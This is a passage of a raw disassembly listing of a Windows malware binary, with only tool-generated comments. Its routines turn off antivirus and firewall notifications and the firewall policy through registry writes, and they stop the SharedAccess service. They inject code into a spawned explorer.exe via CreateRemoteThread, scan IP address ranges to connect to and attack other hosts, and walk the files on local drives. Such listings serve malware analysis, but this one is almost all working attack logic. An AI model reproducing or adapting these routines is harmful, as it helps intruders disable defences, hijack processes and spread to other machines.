[ebp+arg_0] inc eax inc eax push eax call sub_403F1F locret_4034B7: ; CODE XREF: sub_403062+79j ; sub_403062+B2j ... leave retn 8 sub_403062 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4034BB proc near ; CODE XREF: sub_4028D3+FDp ; sub_402C9E+182p push ebp mov ebp, esp call dword_4010A4 ; GetTickCount push eax push offset dword_40170C push offset a_8s08x ; "%.8s%08x" push offset dword_401498 call dword_401104 ; wsprintfA add esp, 10h pop ebp retn sub_4034BB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4034DF proc near ; CODE XREF: sub_4025F4:loc_402625p var_148 = dword ptr -148h var_144 = byte ptr -144h var_128 = dword ptr -128h var_124 = byte ptr -124h var_123 = byte ptr -123h var_122 = word ptr -122h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 148h mov [ebp+var_8], offset aN ; "n" mov [ebp+var_148], 1 and [ebp+var_128], 0 mov [ebp+var_124], 2 mov [ebp+var_123], 0 mov [ebp+var_122], 8 and [ebp+var_120], 0 and [ebp+var_11E], 0 push 0 lea eax, [ebp+var_124] push eax push 0 push 0 push 4 push 6 call dword_401044 ; GetCurrentProcess push eax call dword_401034 ; SetSecurityInfo lea eax, [ebp+var_C] push eax push offset aSoftwareMicros ; "software\\microsoft\\ole" push 80000002h call dword_401030 ; RegCreateKeyA push 2 push [ebp+var_8] push 1 push 0 push offset aEnabledcom ; "enabledcom" push [ebp+var_C] call dword_40102C ; RegSetValueExA push [ebp+var_C] call dword_401024 ; RegCloseKey lea eax, [ebp+var_C] push eax push offset aSystemCurrentc ; "system\\currentcontrolset\\control\\lsa" push 80000002h call dword_401030 ; RegCreateKeyA push 4 lea eax, [ebp+var_148] push eax push 4 push 0 push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_C] call dword_40102C ; RegSetValueExA push 4 lea eax, [ebp+var_148] push eax push 4 push 0 push offset aRestrictanon_0 ; "restrictanonymoussam" push [ebp+var_C] call dword_40102C ; RegSetValueExA push [ebp+var_C] call dword_401024 ; RegCloseKey lea eax, [ebp+var_C] push eax push offset aSystemCurren_0 ; "system\\currentcontrolset\\services\\lanma"... push 80000002h call dword_401030 ; RegCreateKeyA push 4 lea eax, [ebp+var_128] push eax push 4 push 0 push offset aAutoshareserve ; "autoshareserver" push [ebp+var_C] call dword_40102C ; RegSetValueExA push 4 lea eax, [ebp+var_128] push eax push 4 push 0 push offset aAutosharewks ; "autosharewks" push [ebp+var_C] call dword_40102C ; RegSetValueExA push [ebp+var_C] call dword_401024 ; RegCloseKey lea eax, [ebp+var_C] push eax push offset aSoftwareMicr_0 ; "software\\microsoft\\security center" push 80000002h call dword_401030 ; RegCreateKeyA push 4 lea eax, [ebp+var_148] push eax push 4 push 0 push offset aAntivirusdisab ; "antivirusdisablenotify" push [ebp+var_C] call dword_40102C ; RegSetValueExA push 4 lea eax, [ebp+var_148] push eax push 4 push 0 push offset aAntivirusoverr ; "antivirusoverride" push [ebp+var_C] call dword_40102C ; RegSetValueExA push 4 lea eax, [ebp+var_148] push eax push 4 push 0 push offset aFirewalldisabl ; "firewalldisablenotify" push [ebp+var_C] call dword_40102C ; RegSetValueExA push 4 lea eax, [ebp+var_148] push eax push 4 push 0 push offset aFirewalldisa_0 ; "firewalldisableoverride" push [ebp+var_C] call dword_40102C ; RegSetValueExA push [ebp+var_C] call dword_401024 ; RegCloseKey lea eax, [ebp+var_C] push eax push offset aSoftwarePolici ; "software\\policies\\microsoft\\windowsfire"... push 80000002h call dword_401030 ; RegCreateKeyA push 4 lea eax, [ebp+var_128] push eax push 4 push 0 push offset aEnablefirewall ; "enablefirewall" push [ebp+var_C] call dword_40102C ; RegSetValueExA push [ebp+var_C] call dword_401024 ; RegCloseKey lea eax, [ebp+var_C] push eax push offset aSoftwarePoli_0 ; "software\\policies\\microsoft\\windowsfire"... push 80000002h call dword_401030 ; RegCreateKeyA push 4 lea eax, [ebp+var_128] push eax push 4 push 0 push offset aEnablefirewall ; "enablefirewall" push [ebp+var_C] call dword_40102C ; RegSetValueExA push [ebp+var_C] call dword_401024 ; RegCloseKey push 104h lea eax, [ebp+var_118] push eax call dword_401070 ; GetWindowsDirectoryA lea eax, [ebp+var_118] push eax push offset aSDebugDcpromo_ ; "%s\\debug\\dcpromo.log" lea eax, [ebp+var_118] push eax call dword_401104 ; wsprintfA add esp, 0Ch push 1 lea eax, [ebp+var_118] push eax call dword_40109C ; _lcreat push eax call dword_4010A0 ; _lclose push 1 lea eax, [ebp+var_118] push eax call dword_4010C4 ; SetFileAttributesA push 22h push 0 push 0 call dword_401008 ; OpenSCManagerA mov [ebp+var_4], eax push 22h push offset aSharedaccess ; "sharedaccess" push [ebp+var_4] call dword_401004 ; OpenServiceA mov [ebp+var_11C], eax lea eax, [ebp+var_144] push eax push 1 push [ebp+var_11C] call dword_401020 ; ControlService push 0 push 0 push 0 push 0 push 0 push 0 push 0 push 0FFFFFFFFh push 4 push 0FFFFFFFFh push [ebp+var_11C] call dword_40101C ; ChangeServiceConfigA push [ebp+var_11C] call dword_40100C ; CloseServiceHandle push [ebp+var_4] call dword_40100C ; CloseServiceHandle leave retn sub_4034DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4037DC proc near ; CODE XREF: sub_402650+7Fp ; sub_4027AF+48p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch call dword_401044 ; GetCurrentProcess mov [ebp+var_8], eax mov eax, dword_401060 mov dword_401651, eax mov eax, dword_40105C mov dword_40165D, eax mov eax, dword_401058 mov dword_401664, eax mov eax, dword_4010D4 mov dword_40166D, eax push offset aD ; "d" push offset dword_401600 push 0 push 0 push 44h push 0 push 0 push 0 push offset aExplorer_exe ; "explorer.exe" push 0 call dword_4010A8 ; CreateProcessA push 2 push 0 push 0 lea eax, [ebp+var_C] push eax push dword ptr aD ; "d" push [ebp+var_8] push [ebp+var_8] call dword_401054 ; DuplicateHandle mov eax, [ebp+var_C] mov dword_40164C, eax mov eax, [ebp+var_C] mov dword_401658, eax push 4 push 1000h push 138h push 0 push dword ptr aD ; "d" call dword_401050 ; VirtualAllocEx mov [ebp+var_4], eax push 0 push 34h push offset dword_401644 push [ebp+var_4] push dword ptr aD ; "d" call dword_40104C ; WriteProcessMemory push 0 push 104h push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" mov eax, [ebp+var_4] add eax, 34h push eax push dword ptr aD ; "d" call dword_40104C ; WriteProcessMemory push 0 push 0 push 0 push [ebp+var_4] push 0 push 0 push dword ptr aD ; "d" call dword_401048 ; CreateRemoteThread push 0 call dword_4010D4 ; ExitProcess leave retn sub_4037DC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4038D9 proc near ; CODE XREF: sub_4027FE+2Ap ; sub_40414F+1D0p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_4038EA ; --------------------------------------------------------------------------- loc_4038E3: ; CODE XREF: sub_4038D9+22j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4038EA: ; CODE XREF: sub_4038D9+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short locret_4038FD mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov byte ptr [eax], 0 jmp short loc_4038E3 ; --------------------------------------------------------------------------- locret_4038FD: ; CODE XREF: sub_4038D9+17j leave retn 8 sub_4038D9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403901 proc near ; CODE XREF: sub_4059EF+64p ; sub_405AE6+42p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_403912 ; --------------------------------------------------------------------------- loc_40390B: ; CODE XREF: sub_403901+24j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_403912: ; CODE XREF: sub_403901+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_4] jnb short locret_403927 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov cl, [ebp+arg_8] mov [eax], cl jmp short loc_40390B ; --------------------------------------------------------------------------- locret_403927: ; CODE XREF: sub_403901+17j leave retn 0Ch sub_403901 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40392B proc near ; CODE XREF: sub_4028D3+2E1p ; sub_403F1F+72p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx and [ebp+var_4], 0 jmp short loc_40393C ; --------------------------------------------------------------------------- loc_403935: ; CODE XREF: sub_40392B+29j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_40393C: ; CODE XREF: sub_40392B+8j mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jnb short locret_403956 mov eax, [ebp+arg_0] add eax, [ebp+var_4] mov ecx, [ebp+arg_4] add ecx, [ebp+var_4] mov cl, [ecx] mov [eax], cl jmp short loc_403935 ; --------------------------------------------------------------------------- locret_403956: ; CODE XREF: sub_40392B+17j leave retn 0Ch sub_40392B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40395A proc near ; CODE XREF: sub_4028D3+290p ; sub_402C9E+1Dp ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp loc_40395D: ; CODE XREF: sub_40395A+29j mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] test eax, eax jz short loc_403985 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] movsx ecx, [ebp+arg_4] cmp eax, ecx jnz short loc_40397C mov eax, [ebp+arg_0] jmp short loc_403987 ; --------------------------------------------------------------------------- dw 7EBh ; --------------------------------------------------------------------------- loc_40397C: ; CODE XREF: sub_40395A+19j mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax jmp short loc_40395D ; --------------------------------------------------------------------------- loc_403985: ; CODE XREF: sub_40395A+Bj xor eax, eax loc_403987: ; CODE XREF: sub_40395A+1Ej pop ebp retn 8 sub_40395A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40398B proc near ; CODE XREF: MEW:00404B90p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] mov [ebp+var_C], eax mov eax, [ebp+var_C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4039AC mov eax, [ebp+var_4] jmp short locret_403A14 ; --------------------------------------------------------------------------- loc_4039AC: ; CODE XREF: sub_40398B+1Aj jmp short loc_4039B5 ; --------------------------------------------------------------------------- loc_4039AE: ; CODE XREF: sub_40398B+44j ; sub_40398B+85j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_4039B5: ; CODE XREF: sub_40398B:loc_4039ACj mov eax, [ebp+var_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_403A12 mov eax, [ebp+var_4] movsx eax, byte ptr [eax] mov ecx, [ebp+var_C] movsx ecx, byte ptr [ecx] cmp eax, ecx jz short loc_4039D1 jmp short loc_4039AE ; --------------------------------------------------------------------------- loc_4039D1: ; CODE XREF: sub_40398B+42j mov eax, [ebp+var_4] mov [ebp+var_8], eax loc_4039D7: ; CODE XREF: sub_40398B:loc_403A08j mov eax, [ebp+var_C] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4039E8 mov eax, [ebp+var_4] jmp short locret_403A14 ; --------------------------------------------------------------------------- dw 20EBh ; --------------------------------------------------------------------------- loc_4039E8: ; CODE XREF: sub_40398B+54j mov eax, [ebp+var_C] movsx eax, byte ptr [eax] mov ecx, [ebp+var_8] movsx ecx, byte ptr [ecx] mov edx, [ebp+var_C] inc edx mov [ebp+var_C], edx mov edx, [ebp+var_8] inc edx mov [ebp+var_8], edx cmp ecx, eax jz short loc_403A08 jmp short loc_403A0A ; --------------------------------------------------------------------------- loc_403A08: ; CODE XREF: sub_40398B+79j jmp short loc_4039D7 ; --------------------------------------------------------------------------- loc_403A0A: ; CODE XREF: sub_40398B+7Bj mov eax, [ebp+arg_4] mov [ebp+var_C], eax jmp short loc_4039AE ; --------------------------------------------------------------------------- loc_403A12: ; CODE XREF: sub_40398B+32j xor eax, eax locret_403A14: ; CODE XREF: sub_40398B+1Fj ; sub_40398B+59j leave retn 8 sub_40398B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A18 proc near ; CODE XREF: sub_4028D3+9p ; sub_403062:loc_403480p var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx and [ebp+var_8], 0 push offset aDnsapi_dll ; "dnsapi.dll" call dword_401068 ; LoadLibraryA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short locret_403A4F push offset aDnsflushresolv ; "DnsFlushResolverCache" push [ebp+var_4] call dword_401064 ; GetProcAddress mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short locret_403A4F call [ebp+var_8] locret_403A4F: ; CODE XREF: sub_403A18+1Bj ; sub_403A18+32j leave retn sub_403A18 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A51 proc near ; CODE XREF: sub_402C9E:loc_402FBAp ; sub_403062+328p push ebp mov ebp, esp cmp dword_401680, 1 jnz short loc_403A94 and dword_401680, 0 push 0 push 0 push 0BD01h push offset loc_403AA5 push 0 push 0 call dword_4010B4 ; CreateThread push 0 push 0 push 1BD01h push offset loc_403AA5 push 0 push 0 call dword_4010B4 ; CreateThread loc_403A94: ; CODE XREF: sub_403A51+Aj pop ebp retn sub_403A51 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A96 proc near ; CODE XREF: sub_403062+33Ap push ebp mov ebp, esp mov dword_401680, 1 pop ebp retn sub_403A96 endp ; --------------------------------------------------------------------------- loc_403AA5: ; DATA XREF: sub_403A51+1Co ; sub_403A51+34o push ebp mov ebp, esp sub esp, 1Ch push esi call dword_4010A4 ; GetTickCount mov esi, eax call dword_40106C ; GetCurrentThreadId xor esi, eax mov [ebp-1Ch], esi cmp dword_4014D8, 0FFFFFFFFh jnz short loc_403AD3 mov eax, [ebp-1Ch] shl eax, 10h mov [ebp-14h], eax jmp short loc_403AEC ; --------------------------------------------------------------------------- loc_403AD3: ; CODE XREF: MEW:00403AC6j movzx eax, byte ptr dword_4014D8 shl eax, 18h movzx ecx, byte ptr dword_4014D8+1 shl ecx, 10h or eax, ecx mov [ebp-14h], eax loc_403AEC: ; CODE XREF: MEW:00403AD1j mov eax, [ebp+8] shr eax, 10h jnz short loc_403B04 mov dword ptr [ebp-18h], 0FFFF0000h mov dword ptr [ebp-4], 0FF00h jmp short loc_403B12 ; --------------------------------------------------------------------------- loc_403B04: ; CODE XREF: MEW:00403AF2j mov dword ptr [ebp-18h], 0FF000000h mov dword ptr [ebp-4], 0FFFF00h loc_403B12: ; CODE XREF: MEW:00403B02j mov eax, [ebp+8] and eax, 0FFFFh mov [ebp-8], ax loc_403B1E: ; CODE XREF: MEW:00403B8Cj cmp dword_401680, 0 jnz short loc_403B8E mov eax, [ebp-14h] and eax, [ebp-18h] mov ecx, [ebp-1Ch] and ecx, [ebp-4] or eax, ecx mov [ebp-10h], eax push 400h call dword_4010DC ; Sleep mov eax, [ebp-10h] mov [ebp-0Ch], eax jmp short loc_403B54 ; --------------------------------------------------------------------------- loc_403B4B: ; CODE XREF: MEW:00403B77j mov eax, [ebp-0Ch] add eax, 20h mov [ebp-0Ch], eax loc_403B54: ; CODE XREF: MEW:00403B49j mov eax, [ebp-10h] add eax, 100h cmp [ebp-0Ch], eax jnb short loc_403B79 push dword ptr [ebp-8] push dword ptr [ebp-0Ch] call sub_403B95 push 200h call dword_4010DC ; Sleep jmp short loc_403B4B ; --------------------------------------------------------------------------- loc_403B79: ; CODE XREF: MEW:00403B5Fj call dword_4010A4 ; GetTickCount mov esi, eax call dword_40106C ; GetCurrentThreadId xor esi, eax mov [ebp-1Ch], esi jmp short loc_403B1E ; --------------------------------------------------------------------------- loc_403B8E: ; CODE XREF: MEW:00403B25j xor eax, eax pop esi leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B95 proc near ; CODE XREF: MEW:00403B67p var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = dword ptr -2BCh var_2B8 = word ptr -2B8h var_2B6 = word ptr -2B6h var_2B4 = dword ptr -2B4h var_2A8 = dword ptr -2A8h var_2A4 = dword ptr -2A4h var_2A0 = dword ptr -2A0h var_29C = dword ptr -29Ch var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = dword ptr -18Ch var_88 = dword ptr -88h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 2C4h mov [ebp+var_2BC], 1 and [ebp+var_2A0], 0 and [ebp+var_190], 0 mov [ebp+var_2B8], 2 mov ax, [ebp+arg_4] mov [ebp+var_2B6], ax and [ebp+var_2A8], 0 and [ebp+var_2A4], 0 and [ebp+var_4], 0 jmp short loc_403BE5 ; --------------------------------------------------------------------------- loc_403BDE: ; CODE XREF: sub_403B95+194j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_403BE5: ; CODE XREF: sub_403B95+47j cmp [ebp+var_4], 20h jge loc_403D2E push 6 push 1 push 2 call dword_401160 ; socket mov ecx, [ebp+var_4] mov [ebp+ecx*4+var_88], eax lea eax, [ebp+var_2BC] push eax push 8004667Eh mov eax, [ebp+var_4] push [ebp+eax*4+var_88] call dword_401154 ; ioctlsocket loc_403C21: ; CODE XREF: sub_403B95+10Aj and [ebp+var_2C0], 0 jmp short loc_403C37 ; --------------------------------------------------------------------------- loc_403C2A: ; CODE XREF: sub_403B95:loc_403C60j mov eax, [ebp+var_2C0] inc eax mov [ebp+var_2C0], eax loc_403C37: ; CODE XREF: sub_403B95+93j mov eax, [ebp+var_2C0] cmp eax, [ebp+var_2A0] jnb short loc_403C62 mov eax, [ebp+var_2C0] mov ecx, [ebp+var_4] mov eax, [ebp+eax*4+var_29C] cmp eax, [ebp+ecx*4+var_88] jnz short loc_403C60 jmp short loc_403C62 ; --------------------------------------------------------------------------- loc_403C60: ; CODE XREF: sub_403B95+C7j jmp short loc_403C2A ; --------------------------------------------------------------------------- loc_403C62: ; CODE XREF: sub_403B95+AEj ; sub_403B95+C9j mov eax, [ebp+var_2C0] cmp eax, [ebp+var_2A0] jnz short loc_403C9D cmp [ebp+var_2A0], 40h jnb short loc_403C9D mov eax, [ebp+var_2C0] mov ecx, [ebp+var_4] mov ecx, [ebp+ecx*4+var_88] mov [ebp+eax*4+var_29C], ecx mov eax, [ebp+var_2A0] inc eax mov [ebp+var_2A0], eax loc_403C9D: ; CODE XREF: sub_403B95+D9j ; sub_403B95+E2j xor eax, eax jnz short loc_403C21 loc_403CA1: ; CODE XREF: sub_403B95+18Aj and [ebp+var_2C4], 0 jmp short loc_403CB7 ; --------------------------------------------------------------------------- loc_403CAA: ; CODE XREF: sub_403B95:loc_403CE0j mov eax, [ebp+var_2C4] inc eax mov [ebp+var_2C4], eax loc_403CB7: ; CODE XREF: sub_403B95+113j mov eax, [ebp+var_2C4] cmp eax, [ebp+var_190] jnb short loc_403CE2 mov eax, [ebp+var_2C4] mov ecx, [ebp+var_4] mov eax, [ebp+eax*4+var_18C] cmp eax, [ebp+ecx*4+var_88] jnz short loc_403CE0 jmp short loc_403CE2 ; --------------------------------------------------------------------------- loc_403CE0: ; CODE XREF: sub_403B95+147j jmp short loc_403CAA ; --------------------------------------------------------------------------- loc_403CE2: ; CODE XREF: sub_403B95+12Ej ; sub_403B95+149j mov eax, [ebp+var_2C4] cmp eax, [ebp+var_190] jnz short loc_403D1D cmp [ebp+var_190], 40h jnb short loc_403D1D mov eax, [ebp+var_2C4] mov ecx, [ebp+var_4] mov ecx, [ebp+ecx*4+var_88] mov [ebp+eax*4+var_18C], ecx mov eax, [ebp+var_190] inc eax mov [ebp+var_190], eax loc_403D1D: ; CODE XREF: sub_403B95+159j ; sub_403B95+162j xor eax, eax jnz short loc_403CA1 push 10h call dword_4010DC ; Sleep jmp loc_403BDE ; --------------------------------------------------------------------------- loc_403D2E: ; CODE XREF: sub_403B95+54j and [ebp+var_4], 0 jmp short loc_403D3B ; --------------------------------------------------------------------------- loc_403D34: ; CODE XREF: sub_403B95+1D8j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_403D3B: ; CODE XREF: sub_403B95+19Dj cmp [ebp+var_4], 20h jge short loc_403D6F mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call dword_401158 ; ntohl mov [ebp+var_2B4], eax push 10h lea eax, [ebp+var_2B8] push eax mov eax, [ebp+var_4] push [ebp+eax*4+var_88] call dword_40112C ; connect jmp short loc_403D34 ; --------------------------------------------------------------------------- loc_403D6F: ; CODE XREF: sub_403B95+1AAj push 1400h call dword_4010DC ; Sleep lea eax, [ebp+var_2A8] push eax push 0 lea eax, [ebp+var_190] push eax lea eax, [ebp+var_2A0] push eax push 0 call dword_401138 ; select mov [ebp+var_194], eax and [ebp+var_4], 0 jmp short loc_403DAC ; --------------------------------------------------------------------------- loc_403DA5: ; CODE XREF: sub_403B95:loc_403E0Aj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_403DAC: ; CODE XREF: sub_403B95+20Ej cmp [ebp+var_4], 20h jge short loc_403E0C mov eax, [ebp+var_4] push [ebp+eax*4+var_88] call dword_401140 ; closesocket cmp [ebp+var_194], 0FFFFFFFFh jz short loc_403DFF lea eax, [ebp+var_2A0] push eax mov eax, [ebp+var_4] push [ebp+eax*4+var_88] call sub_405C4E ; __WSAFDIsSet test eax, eax jnz short loc_403E0A lea eax, [ebp+var_190] push eax mov eax, [ebp+var_4] push [ebp+eax*4+var_88] call sub_405C4E ; __WSAFDIsSet test eax, eax jnz short loc_403E0A loc_403DFF: ; CODE XREF: sub_403B95+234j mov eax, [ebp+var_4] or [ebp+eax*4+var_88], 0FFFFFFFFh loc_403E0A: ; CODE XREF: sub_403B95+24Ej ; sub_403B95+268j jmp short loc_403DA5 ; --------------------------------------------------------------------------- loc_403E0C: ; CODE XREF: sub_403B95+21Bj and [ebp+var_4], 0 jmp short loc_403E19 ; --------------------------------------------------------------------------- loc_403E12: ; CODE XREF: sub_403B95:loc_403E55j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_403E19: ; CODE XREF: sub_403B95+27Bj cmp [ebp+var_4], 20h jge short locret_403E57 mov eax, [ebp+var_4] cmp [ebp+eax*4+var_88], 0FFFFFFFFh jz short loc_403E55 push 0 push 0 mov eax, [ebp+arg_0] add eax, [ebp+var_4] push eax call dword_401158 ; ntohl push eax push offset loc_40581A push 0 push 0 call dword_4010B4 ; CreateThread push 8 call dword_4010DC ; Sleep loc_403E55: ; CODE XREF: sub_403B95+295j jmp short loc_403E12 ; --------------------------------------------------------------------------- locret_403E57: ; CODE XREF: sub_403B95+288j leave retn 8 sub_403B95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403E5B proc near ; CODE XREF: sub_402C9E+E3p ; sub_403E5B+39p ... var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi mov eax, [ebp+arg_0] mov al, [eax] mov [ebp+var_4], al cmp [ebp+var_4], 0 jz short loc_403E7C cmp [ebp+var_4], 2Ah jz short loc_403E8C cmp [ebp+var_4], 3Fh jz short loc_403EC4 jmp short loc_403EE5 ; --------------------------------------------------------------------------- loc_403E7C: ; CODE XREF: sub_403E5B+11j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] neg eax sbb eax, eax inc eax jmp loc_403F1A ; --------------------------------------------------------------------------- loc_403E8C: ; CODE XREF: sub_403E5B+17j push [ebp+arg_4] mov eax, [ebp+arg_0] inc eax push eax call sub_403E5B cmp eax, 1 jnz short loc_403EA5 xor eax, eax inc eax jmp short loc_403F1A ; --------------------------------------------------------------------------- db 0EBh db 1Fh ; --------------------------------------------------------------------------- loc_403EA5: ; CODE XREF: sub_403E5B+41j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jz short loc_403EC0 mov eax, [ebp+arg_4] inc eax push eax push [ebp+arg_0] call sub_403E5B jmp short loc_403F1A ; --------------------------------------------------------------------------- dw 4EBh ; --------------------------------------------------------------------------- loc_403EC0: ; CODE XREF: sub_403E5B+52j xor eax, eax jmp short loc_403F1A ; --------------------------------------------------------------------------- loc_403EC4: ; CODE XREF: sub_403E5B+1Dj mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_403ED4 xor eax, eax jmp short loc_403F1A ; --------------------------------------------------------------------------- dw 11EBh ; --------------------------------------------------------------------------- loc_403ED4: ; CODE XREF: sub_403E5B+71j mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_403E5B jmp short loc_403F1A ; --------------------------------------------------------------------------- loc_403EE5: ; CODE XREF: sub_403E5B+1Fj mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] push eax call dword_4010F0 ; CharUpperA mov esi, eax mov eax, [ebp+arg_4] movzx eax, byte ptr [eax] push eax call dword_4010F0 ; CharUpperA cmp esi, eax jnz short loc_403F18 mov eax, [ebp+arg_4] inc eax push eax mov eax, [ebp+arg_0] inc eax push eax call sub_403E5B jmp short loc_403F1A ; --------------------------------------------------------------------------- dw 2EBh ; --------------------------------------------------------------------------- loc_403F18: ; CODE XREF: sub_403E5B+A8j xor eax, eax loc_403F1A: ; CODE XREF: sub_403E5B+2Cj ; sub_403E5B+46j ... pop esi leave retn 8 sub_403E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403F1F proc near ; CODE XREF: sub_403062+450p var_318 = byte ptr -318h var_314 = byte ptr -314h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_108 = dword ptr -108h var_104 = byte ptr -104h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 108h and [ebp+var_108], 0 push 104h push [ebp+arg_0] lea eax, [ebp+var_104] push eax call dword_4010BC ; lstrcpynA push 0 push 0 lea eax, [ebp+var_108] push eax push offset loc_403F79 push 0 push 0 call dword_4010B4 ; CreateThread test eax, eax jz short locret_403F75 loc_403F62: ; CODE XREF: sub_403F1F+54j cmp [ebp+var_108], 0 jnz short locret_403F75 push 8 call dword_4010DC ; Sleep jmp short loc_403F62 ; --------------------------------------------------------------------------- locret_403F75: ; CODE XREF: sub_403F1F+41j ; sub_403F1F+4Aj leave retn 4 ; --------------------------------------------------------------------------- loc_403F79: ; DATA XREF: sub_403F1F+30o push ebp mov ebp, esp sub esp, 318h push 108h push [ebp+arg_0] lea eax, [ebp+var_318] push eax call sub_40392B mov eax, [ebp+arg_0] mov dword ptr [eax], 1 lea eax, [ebp+var_208] push eax push 200h call dword_401078 ; GetLogicalDriveStringsA mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_403FC3 cmp [ebp+var_4], 200h jbe short loc_403FC7 loc_403FC3: ; CODE XREF: sub_403F1F+99j xor eax, eax jmp short locret_40402F ; --------------------------------------------------------------------------- loc_403FC7: ; CODE XREF: sub_403F1F+A2j lea eax, [ebp+var_208] mov [ebp+var_20C], eax jmp short loc_403FF1 ; --------------------------------------------------------------------------- loc_403FD5: ; CODE XREF: sub_403F1F:loc_40402Bj push [ebp+var_20C] call dword_401074 ; lstrlenA mov ecx, [ebp+var_20C] lea eax, [ecx+eax+1] mov [ebp+var_20C], eax loc_403FF1: ; CODE XREF: sub_403F1F+B4j mov eax, [ebp+var_20C] movsx eax, byte ptr [eax] test eax, eax jz short loc_40402D push [ebp+var_20C] call dword_4010D8 ; GetDriveTypeA mov [ebp+var_210], eax cmp [ebp+var_210], 3 jnz short loc_40402B lea eax, [ebp+var_314] push eax push [ebp+var_20C] call sub_404033 loc_40402B: ; CODE XREF: sub_403F1F+F8j jmp short loc_403FD5 ; --------------------------------------------------------------------------- loc_40402D: ; CODE XREF: sub_403F1F+DDj xor eax, eax locret_40402F: ; CODE XREF: sub_403F1F+A6j leave retn 4 sub_403F1F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_404033 proc near ; CODE XREF: sub_403F1F+107p ; sub_404033+ABp var_544 = dword ptr -544h var_540 = dword ptr -540h var_514 = byte ptr -514h var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 544h push [ebp+arg_0] push offset a_256s ; "%.256s*" lea eax, [ebp+var_200] push eax call dword_401104 ; wsprintfA add esp, 0Ch lea eax, [ebp+var_540] push eax lea eax, [ebp+var_200] push eax call dword_401084 ; FindFirstFileA mov [ebp+var_544], eax cmp [ebp+var_544], 0FFFFFFFFh jnz short loc_40407C jmp locret_40414B ; --------------------------------------------------------------------------- loc_40407C: ; CODE XREF: sub_404033+42j ; sub_404033+106j mov eax, [ebp+var_540] and eax, 10h jz short loc_4040E5 push offset a_ ; "." lea eax, [ebp+var_514] push eax call dword_4010AC ; lstrcmpA test eax, eax jz short 